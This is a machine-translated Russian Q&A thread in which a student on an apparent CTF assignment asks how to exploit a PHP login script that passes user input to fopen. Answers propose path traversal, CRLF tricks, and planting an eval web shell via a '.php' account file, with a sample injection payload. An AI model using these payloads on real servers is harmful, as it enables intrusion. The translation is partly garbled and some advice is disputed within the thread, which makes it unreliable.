2017-01-19 14 views
4

Я беру класс кибербезопасности, и для назначения нам нужно использовать определенный файл php и получить какой-то доступ к серверу, на котором он размещен. Я могу установить свои собственные переменные $email и $ password, поскольку они установлены с $_POST. Я считаю, что единственный фрагмент кода, который я могу использовать, - это.Использование уязвимостей в php's fopen

$email = $_POST['email'] 
$password = $_POST['password'] 
....  
$accountfile = "./acounts/" . $email 

if(!file_exists($accountfile)){ 
    diefooter("unknown email address or password") 
} 
$fh = fopen($accountfile, "r") 
if(!$fh){ 
    diefooter("Cannot open file $accountfile."); 
} 
$last = fgets($fh); 
$first = fgets($fh); 
$pass = fgets($fh); 

if(strcmp($pass,$password)!=0){ 
    diefooter("wrong email or password.") 
} 

Я знаю, что есть уязвимости, встроенные в функцию Еорепа() и что я могу получить доступ к оболочке с правильным входом.

filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php" 
shellKode = "[email protected]\0;echo shell_exec("+'"cat '+filePath+'");' 
# payload = {'email':shellKode, 'password':'test'} 
testPayload = {'email':'[email protected]','password':'a'} 
r = requests.post(url, data = testPayload) 
print(r.text) 

Я могу ввести электронное письмо в систему, но формат будет проверен перед сохранением. В этот момент я немного потерял и не уверен, что еще я могу сделать. fopen() - единственная функция в файле, которая, я думаю, может быть использована, и я не могу думать о другом месте, где может быть эксплойт.

+0

Хм, я понимаю, это похоже на то, что я спрашиваю, как взломать есть способ, которым я могу убедить вас/других людей, рассматривающих это. Я показываю php-код, поэтому должен быть немного отдать, что у меня уже есть доступ к системе. – user3267256

+0

Можете ли вы добавить еще код под $ fh = fopen ($ accountfile, "r")? Это потребует знать, как использовать fopen() в этом конкретном случае. Опубликуйте больше кода до и после используемого бита. Я думаю, что это интересная головоломка. –

+0

Просто сделал! не уверен, поможет ли это или нет. – user3267256

ответ

5

Я думаю, что они имеют в виду уязвимость CRLF.

В вашем примере кода эксплойта вы передаете некоторый php-код, но это не то, что вы бы сделали.

Цель состоит в том, чтобы сделать fopen открыть файл из Интернета. Если переменная $email содержит две строки, разделенные CRLF, вы можете найти fopen() внешний веб-сайт там, где это не предполагается.

В зависимости от того, что происходит с файловым дескриптором $fh, оно определит, как вы это воспользуетесь.

Вот ссылка я нашел на этой уязвимости: http://www.securiteam.com/unixfocus/5OP0C0A8AC.html

EDIT после отправил больше кода:

Мы начинаем с, что вы можете заставить $password на значение, которое требуется.

Так что название игры вынуждает $pass к значению вы хотите, например, что strcmp возвращается true, и вы получите вход в систему без знания пароля.

$pass контролируется в последнем заявлении $pass = fgets($fh)

А если использовать CRLF уязвимость к точке Еореп, чтобы открыть URL, который вы хозяин, например, http://your.ip.address/your-file, и внутри этого файла вы устанавливаете те же данные, что и в $password. И это должно позволить вам войти в систему без регистрации.

Но есть некоторые странные вещи в коде, например. :

$last = fgets($fh); 
$first = fgets($fh); 
$pass = fgets($fh); 

Похоже код не может быть полной, потому что здесь значения $last, $first и $pass всегда быть одинаковыми, которая не имеет никакого смысла. Это будет один вектор для рассмотрения.

Возможность # 2 - Файл обход:

../ Использования внутри $email переменное, вы сможете получить доступ к другому файлу в fopen что он вне папки acounts/.

При запуске:

<?php 
$fh = fopen("acounts/../../test.sh","r"); 
?> 

Он оценивает успешно и ищет двух папок вверх для содержания test.sh. Таким образом, вы можете исследовать содержимое файловой системы через переменную $email. Тогда название игры найдет стандартный файл, для которого вы знаете содержимое, подайте его в $password, и вы можете войти в систему без регистрации.

Возможность # 3 - Зарегистрировать адрес электронной почты, заканчивающийся .php:

Как упомянуто drew010, предполагая, что вы имеете право зарегистрировать собственный счет, а затем путем регистрации $email заканчиваясь в .php и положить eval() php code внутри $password при регистрации вашей учетной записи, которая создаст файл backdoor внутри acounts/, названный в честь вашего $email, который вы можете получить через Интернет.

+0

Файл, переданный в 'fopen', добавляется в'./Accounts', поэтому он не будет использовать удаленную оболочку HTTP fopen. Вышеупомянутое не является вектором атаки для этого случая. – drew010

+0

Код перед тем, как просто сохранить электронную почту и пароль, а затем проверяет, чтобы они не были пустыми, устанавливает куки-файл и все об этом. Я согласен с тем, что, похоже, нет смысла использовать переменную $ last $ first и $ pass, но это то, как она закодирована. – user3267256

3

С файлом он открывает для хранения пользовательских данных ссылаются как $accountfile = "./acounts/" . $email это выглядит как один из возможного вектора атаки будет пытаться зарегистрировать учетную запись, используя адрес электронной почты, как [email protected] (или просто username.php в зависимости от того, есть ли надлежащая проверка).

Поскольку он пишет (предположительно unhashed?) Ваш пароль к этому файлу, вы можете установить свой пароль на что-то злое (например, <?php eval($_REQUEST['x'] ?>).

Затем посмотрите, можете ли вы получить доступ к http://thesite/accounts/[email protected]?x=echo 'hi'; и посмотреть, распечатывается ли «привет» в браузере.

Если это так, то получите удовольствие от $_REQUEST['x'] и попробуйте сделать что-то вроде записи произвольных файлов в систему (веб-оболочку) или открыть и прочитать другие файлы и распечатать их содержимое.